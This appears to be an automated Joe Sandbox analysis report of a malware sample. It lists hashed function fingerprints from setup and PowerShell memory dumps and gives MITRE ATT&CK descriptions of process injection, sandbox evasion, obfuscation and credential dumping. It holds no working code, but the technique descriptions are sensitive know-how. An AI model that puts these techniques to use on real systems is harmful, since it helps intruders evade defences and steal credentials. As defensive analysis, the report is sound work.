Instruction ID: ce1ae2a1107b9069e8e0d8ce87296d56f5e1653657ea4ba905ccb4fef8ede3d3
Opcode Fuzzy Hash: 4c765c56afbab89adce3b91aa2f21b1db36572e218bd99bec5990d92c48af48b
Instruction Fuzzy Hash: 6DD01236B14410CBC341EF58EDE695DB3B4FF17601F48685594E1E7205C728D6054B5F

Function 007D6F4F Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17a541a6d152f7000e196ba3562fb73851827dd95982a29436cb11caab27a2b7
Instruction ID: e0113454d59c0aa18e1fba275a12e44cf4d0c06f4b23f70b085ca7d7e69e15b6
Opcode Fuzzy Hash: 17a541a6d152f7000e196ba3562fb73851827dd95982a29436cb11caab27a2b7
Instruction Fuzzy Hash: 65D012B180C3908FC3068F14D060175BFF0AA4B314F0968ACE4C8AB322C270E841CF0E

Function 007D9714 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a6470ebb34247305cd39b241ee7fb1ae6640368fb97567402084e8697f7d190
Instruction ID: 5b0bdee6b8c3bdce941a12d284f7333441af36771757322614efcce17baadf59
Opcode Fuzzy Hash: 3a6470ebb34247305cd39b241ee7fb1ae6640368fb97567402084e8697f7d190
Instruction Fuzzy Hash: 7AB09B74D08290C7C611DF145441576B1755747104F146560D56967321D625DC119699

Function 007D27F0 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1eea1194c07932b3d45482237d4d5ed539e02f4c88fcf7e1f67307a091384b04
Instruction ID: e27c52e4b055b98c566065731cafd9488733da1e6dbac1b79d4f5b3601cd871c
Opcode Fuzzy Hash: 1eea1194c07932b3d45482237d4d5ed539e02f4c88fcf7e1f67307a091384b04
Instruction Fuzzy Hash: D9B092A1C03420E6E0112F102D065EAB0664913200F0420B0EA1B22202A61EE25A40AF

Function 007D49A4 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5be063d2346dea39aeb1fc82abf2c1bd6866d00a5148a53d7f705a2093280fa3
Instruction ID: 728cf2d0bbc34878e6af63056b22c96cfb19df8dafbc254fb3bf6b5a2218d8bc
Opcode Fuzzy Hash: 5be063d2346dea39aeb1fc82abf2c1bd6866d00a5148a53d7f705a2093280fa3
Instruction Fuzzy Hash: CAB09270A1C2018A8300CF10A610076E2B552CF241F20A8258089A3208E234D8054A5A

Function 007D49AD Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99b30445efadc7ce3007d94267be341406133a640d528a6e4b361b9d8ca11cda
Instruction ID: 5de0add0ddaee50fd447fc7e6c5d5177b51e0bc39828dc06e2757ebfbb939e34
Opcode Fuzzy Hash: 99b30445efadc7ce3007d94267be341406133a640d528a6e4b361b9d8ca11cda
Instruction Fuzzy Hash: 14B09274A082008FC300CF04E140465F3B4A78F201F10A014D048A3220D330D8058A4A

Function 007D4BBD Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b63a9a0e3f20c12b5ec4f5bcd4f548dd49c37f6fbbdea6a6194c5a306282196
Instruction ID: afa058da326e0a04069ce494bfb3bbeeeb0abb5d4b02b28d84586c3668ed05c2
Opcode Fuzzy Hash: 3b63a9a0e3f20c12b5ec4f5bcd4f548dd49c37f6fbbdea6a6194c5a306282196
Instruction Fuzzy Hash: 09B01238B08200CFC200CF00C581936F3B5FBCB204F30F100C01823215C330E8018A4D

Function 007F1491 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a2089f1a63bc10ca86dae7c670fbab48f66bcfffb2a77eafa6cdd0d02f6be95
Instruction ID: 893bd63e22e0e82fa42e4043a5fb804187e284add9fc6960cadbd57982b84ab1
Opcode Fuzzy Hash: 7a2089f1a63bc10ca86dae7c670fbab48f66bcfffb2a77eafa6cdd0d02f6be95
Instruction Fuzzy Hash: 22A00278EDC401869708CF60A954671E2B96B6F201F5134688009B7551D555D410951E

Function 007EAF64 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_setup.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15c72f4979e3566fb882167d07b99e0d6ca07ba4c5422aa121bea941912548d0
Instruction ID: 84838423ff07a18aea6d46761997e0febbb29570daeb7598de829a8a2adc12cc
Opcode Fuzzy Hash: 15c72f4979e3566fb882167d07b99e0d6ca07ba4c5422aa121bea941912548d0
Instruction Fuzzy Hash: C4900224D881409AC101CF049440471F2B8720B201F1038509008F3016C351D804950C

Analysis Process: powershell.exePID: 7672, Parent PID: 7252COMMON

Executed Functions

Function 07DF1798 Relevance: 17.1, Strings: 13, Instructions: 813COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07DF1DA6
4'^q, xrefs: 07DF1F00
4'^q, xrefs: 07DF19A5
k, xrefs: 07DF187F
k, xrefs: 07DF188D
tP^q, xrefs: 07DF1821
4'^q, xrefs: 07DF1F0A
$^q, xrefs: 07DF17DC
$^q, xrefs: 07DF17D0
tP^q, xrefs: 07DF1815
$^q, xrefs: 07DF17AA
4'^q, xrefs: 07DF1DB0
4'^q, xrefs: 07DF1999

Memory Dump Source

Source File: 00000004.00000002.2026592960.0000000007DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7df0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q$k$k
API String ID: 0-2260618432
Opcode ID: ee6fa658ea361497e21dfd3624c9556f16b44b6f116bf7dae5bb9ac2708e7063
Instruction ID: c89a46077207794aec39fa9207a5ddf86600ef47ced9032c1e5f7d8b160cddd1
Opcode Fuzzy Hash: ee6fa658ea361497e21dfd3624c9556f16b44b6f116bf7dae5bb9ac2708e7063
Instruction Fuzzy Hash: 234227B2B04219CFC7259B6898106AAFBA2AFC6310F1684BBD645CF351DB37CD45C7A1

Function 03704900 Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

;o^, xrefs: 0370499A

Memory Dump Source

Source File: 00000004.00000002.2014215548.0000000003700000.00000040.00000800.00020000.00000000.sdmp, Offset: 03700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3700000_powershell.jbxd

Similarity

API ID:
String ID: ;o^
API String ID: 0-3117013240
Opcode ID: 4007afec51e0b2d477b401d17d01f2dc11c69a8213694ecca3eeb92fbb246cc5
Instruction ID: 125d185899138aea51830df41099b0c0c8b540c69ee781700cd93bd7f88055bb
Opcode Fuzzy Hash: 4007afec51e0b2d477b401d17d01f2dc11c69a8213694ecca3eeb92fbb246cc5
Instruction Fuzzy Hash: CD215C74A0424ADFCB04CF5DD8909AABBF4FF49310B1581A9D958EB392C735ED41CBA1

Function 03702F68 Relevance: .5, Instructions: 474COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2014215548.0000000003700000.00000040.00000800.00020000.00000000.sdmp, Offset: 03700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3700000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96fd11807ba4c65d439e8830fdc64f46aa80c210eede8b3fcf8ff7a08dec40b3
Instruction ID: 15cc061c9dd5149ba4092f8c5f241f92405286c23040b7e11eb33012628e208c
Opcode Fuzzy Hash: 96fd11807ba4c65d439e8830fdc64f46aa80c210eede8b3fcf8ff7a08dec40b3
Instruction Fuzzy Hash: BB120874A00249DFDB05CFA8C584AADFBF2BF48310F298599E445AB3A5C735ED81CB90

Function 07DF1A54 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2026592960.0000000007DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7df0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e83c76b61b97c4a0307b6e24f8da2923d59e58977714a6ba3cbefc0c5032765
Instruction ID: 4c02978bd92a66ef00776e773abaa8441567c3cdc5231fd347669a8674476bff
Opcode Fuzzy Hash: 4e83c76b61b97c4a0307b6e24f8da2923d59e58977714a6ba3cbefc0c5032765
Instruction Fuzzy Hash: FF41FAF1A1120ACFCB249E649A41A66FBA2AF41350F1B80E6DB009F355D73BD885C7E1

Function 037033E0 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2014215548.0000000003700000.00000040.00000800.00020000.00000000.sdmp, Offset: 03700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3700000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88fa90b6463dc6212cd25f12d15ab3385faf6f853ab52d606c50fc3efcc4de61
Instruction ID: 32b85584ca04ec776141ea802c36aa76fa7cefc5a1198b81ec7cfaa32cd9da3c
Opcode Fuzzy Hash: 88fa90b6463dc6212cd25f12d15ab3385faf6f853ab52d606c50fc3efcc4de61
Instruction Fuzzy Hash: 104105B4A00645DFDB06CF98C1949AEFBB1FF48310B158599D805AB3A5C736ED51CFA0

Function 07DF1A68 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2026592960.0000000007DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7df0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2d85f311f97a0ca97a15e8a66611f18c4cc9f8a6957fe0e3e61dfdb1bfedc02
Instruction ID: d4ea0f5966c18f7bbba8ee5593d5a831cca090c469a5073ad01d9af0540dc071
Opcode Fuzzy Hash: e2d85f311f97a0ca97a15e8a66611f18c4cc9f8a6957fe0e3e61dfdb1bfedc02
Instruction Fuzzy Hash: 9F31EBF1B0020ACBCB249E649641A66FBE2AF81350F1680E5DB049F355D737D881C7E1

Function 037033F0 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2014215548.0000000003700000.00000040.00000800.00020000.00000000.sdmp, Offset: 03700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3700000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff8ac588ff1d1bf85c7116eb3e15f64ff3650c6d6dc6b3248b123c0830ff35be
Instruction ID: 393c146931aa29636add760b508a86103017d8065a8a6ef27ab0aab7cbbb7314
Opcode Fuzzy Hash: ff8ac588ff1d1bf85c7116eb3e15f64ff3650c6d6dc6b3248b123c0830ff35be
Instruction Fuzzy Hash: 7C4104B4A00509DFDB0ACF98C1949AEFBB1FF48310B258199D905AB3A5C736FD51CBA0

Function 03702AA0 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2014215548.0000000003700000.00000040.00000800.00020000.00000000.sdmp, Offset: 03700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3700000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea06bc4ce939ac6e423533bbf0dcc45bee962d55c86b75f2eedb5830dc1638c5
Instruction ID: ec026fb53e6d928357d968a203301e06dfb0a2ef7495f926f2999d6081d85635
Opcode Fuzzy Hash: ea06bc4ce939ac6e423533bbf0dcc45bee962d55c86b75f2eedb5830dc1638c5
Instruction Fuzzy Hash: 952117B5A00209DFCB00CF59C9849AAFBF1FB48310B148596E819EB366D735EC41CBA0

Function 03702A99 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2014215548.0000000003700000.00000040.00000800.00020000.00000000.sdmp, Offset: 03700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3700000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 196a7ead079b6bf2119797d8dfc9c3a0850f537f9f3b06b4cb776d4076797892
Instruction ID: 865fd94dd14bc5fc362ec6b6ca3362220acdf8f87b5126d019044ee7247f0d49
Opcode Fuzzy Hash: 196a7ead079b6bf2119797d8dfc9c3a0850f537f9f3b06b4cb776d4076797892
Instruction Fuzzy Hash: CE21E375A00509DFCB00CF99C9849AAFBF5FB48310B2485A9E909A7362C731EC51CBA0

Function 037048F1 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2014215548.0000000003700000.00000040.00000800.00020000.00000000.sdmp, Offset: 03700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3700000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bc079f6979ddd3f6b6ca35b43ff2b42d410c185eb3faf6bdf8a240405c5a4a9
Instruction ID: 8325912ee8f63bb65b01411064564a139edc28552bf9ad4f7c3e2f19a51b4a04
Opcode Fuzzy Hash: 8bc079f6979ddd3f6b6ca35b43ff2b42d410c185eb3faf6bdf8a240405c5a4a9
Instruction Fuzzy Hash: C0210974A04249CFCB00CF99D4809AEBBF0FF89310B1485A9D559AB351C731EC41CFA0

Function 0362D006 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2013682375.000000000362D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0362D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_362d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3adcea27700ba90137cf7bd764b40ca2e583bf8675be99c9876a0ec14d34d4b8
Instruction ID: 9227bf8bc4e7a13195b34c5a1d3c9667216e38956bdb3f26e254674583e86ead
Opcode Fuzzy Hash: 3adcea27700ba90137cf7bd764b40ca2e583bf8675be99c9876a0ec14d34d4b8
Instruction Fuzzy Hash: 9301576200D3D09ED7128B258994752BFA8EF47224F0D84DBE8988F2A7C2689845CB72

Function 0362D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2013682375.000000000362D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0362D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_362d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd2406b2278be3ce93a648d1a4ffa2e867d3640c4723746205cfd5828a86ba0b
Instruction ID: d678f68056778d7250469b275236427614587c51aa98f9c95ea0a04e42810be5
Opcode Fuzzy Hash: dd2406b2278be3ce93a648d1a4ffa2e867d3640c4723746205cfd5828a86ba0b
Instruction Fuzzy Hash: BE01F731008750AAE710CE25CA84B67FF98EF45364F0CC469EC684A296C279D882CAB1

Non-executed Functions

Function 07DF08A0 Relevance: 12.8, Strings: 10, Instructions: 315COMMON

Download Yara Rule

Strings

$^q, xrefs: 07DF0AB4
4'^q, xrefs: 07DF09AE
tP^q, xrefs: 07DF0AF9
$^q, xrefs: 07DF0AA8
k, xrefs: 07DF0B65
#j, xrefs: 07DF096F
k, xrefs: 07DF0B57
$^q, xrefs: 07DF0A82
tP^q, xrefs: 07DF0AED
4'^q, xrefs: 07DF09A2

Memory Dump Source

Source File: 00000004.00000002.2026592960.0000000007DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7df0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$#j$$^q$$^q$$^q$k$k
API String ID: 0-2299674365
Opcode ID: 30f1fb2a75896084e5ee66c1891efd40577f6c97c66aef0918dee4dd00574455
Instruction ID: 164e98a088267041723a19d09a4a7dd93907661cbed08967ab89ddac6abdf73b
Opcode Fuzzy Hash: 30f1fb2a75896084e5ee66c1891efd40577f6c97c66aef0918dee4dd00574455
Instruction Fuzzy Hash: B2A168B27043468FD7245A38981066AFFE59FC2210F2A84BBD645CF363EB36C845C7A1

Function 07DF3D70 Relevance: 9.2, Strings: 7, Instructions: 432COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07DF4048
4'^q, xrefs: 07DF41DB
4'^q, xrefs: 07DF403E
d5j, xrefs: 07DF3E76
4'^q, xrefs: 07DF3EA5
4'^q, xrefs: 07DF41E7
4'^q, xrefs: 07DF3EAF

Memory Dump Source

Source File: 00000004.00000002.2026592960.0000000007DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7df0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$d5j
API String ID: 0-3658821374
Opcode ID: 13f939035015b8fbd691926d3b4fa02fa28ac593ca8280055256d40727d3c5fb
Instruction ID: dd16759e05d7039ac767a4377c3db27a1445ef6b0b59ef0d3060a5d43d090c7e
Opcode Fuzzy Hash: 13f939035015b8fbd691926d3b4fa02fa28ac593ca8280055256d40727d3c5fb
Instruction Fuzzy Hash: 03E108B1B04246CFCB249B6C98146ABFBF6AFC5310B2A84BBD605DB355DB31C845C7A1

Function 07DF14E8 Relevance: 8.9, Strings: 7, Instructions: 188COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07DF1592
$^q, xrefs: 07DF16A6
k, xrefs: 07DF16EB
k, xrefs: 07DF16DD
4'^q, xrefs: 07DF159E
$^q, xrefs: 07DF166F
$^q, xrefs: 07DF169A

Memory Dump Source

Source File: 00000004.00000002.2026592960.0000000007DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7df0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q$$^q$k$k
API String ID: 0-283049261
Opcode ID: da281117ef286a5a62058b5b5f39f58fc8c36f398a2b83118fe98d58c1185e7a
Instruction ID: c177e68b432cd789af4df30b31c66966aabebdf9906f99bb5364dceedeea67dd
Opcode Fuzzy Hash: da281117ef286a5a62058b5b5f39f58fc8c36f398a2b83118fe98d58c1185e7a
Instruction Fuzzy Hash: B15137B1B0430ECFDB249A6D9410666FBB6AFC2610F29847BD646CB391DA37C885C761

Function 07DF34F8 Relevance: 5.1, Strings: 4, Instructions: 110COMMON

Download Yara Rule

Strings

$^q, xrefs: 07DF3546
$^q, xrefs: 07DF3574
$^q, xrefs: 07DF352A
$^q, xrefs: 07DF3580

Memory Dump Source

Source File: 00000004.00000002.2026592960.0000000007DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7df0000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 0d4979a1b469f00af80dc152d1a6dfdf22f27d3dcb21957a4eafc9b4ae3ac854
Instruction ID: cfb44e5b8ea3db49afc68cbdc5c5035085f1e2821fb8d964cd3906505d710f63
Opcode Fuzzy Hash: 0d4979a1b469f00af80dc152d1a6dfdf22f27d3dcb21957a4eafc9b4ae3ac854
Instruction Fuzzy Hash: 0F315AB27483446FDB2555399811BA7FFE68BC2310F27946BE644CF392DD29C8498361

Function 07DF3518 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$^q, xrefs: 07DF3546
$^q, xrefs: 07DF3574
$^q, xrefs: 07DF352A
$^q, xrefs: 07DF3580

Memory Dump Source

Source File: 00000004.00000002.2026592960.0000000007DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7df0000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: bfa531f41acdc78d3bcb9fe455a1e74fc385d172204ca4af4222ca6aed5adcbd
Instruction ID: 367f1e059bd3fd98166c22e00a3f11671545e31a087b879929f17b1d7afa658e
Opcode Fuzzy Hash: bfa531f41acdc78d3bcb9fe455a1e74fc385d172204ca4af4222ca6aed5adcbd
Instruction Fuzzy Hash: 232166B270434A5BDB38697EA801B37FEDA9BC0714F26843AE605CF391DE36C8448361

Function 07DF0570 Relevance: 5.0, Strings: 4, Instructions: 48COMMON

Download Yara Rule

Strings

$^q, xrefs: 07DF05C6
$^q, xrefs: 07DF05BA
4'^q, xrefs: 07DF05E7
4'^q, xrefs: 07DF05DB

Memory Dump Source

Source File: 00000004.00000002.2026592960.0000000007DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7df0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: 63f31836cb51ff508f3c833922047f1aae9b1ce60fe87011d56cb5062a42a5be
Instruction ID: 557b068d10629734a9660fa285197de4e443d95bcfdc186aebf13872c5167140
Opcode Fuzzy Hash: 63f31836cb51ff508f3c833922047f1aae9b1ce60fe87011d56cb5062a42a5be
Instruction Fuzzy Hash: EE01F26170D3854FC32A13281820456AFB25BD350072A44ABC181CF397DDA98C4A83A7

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
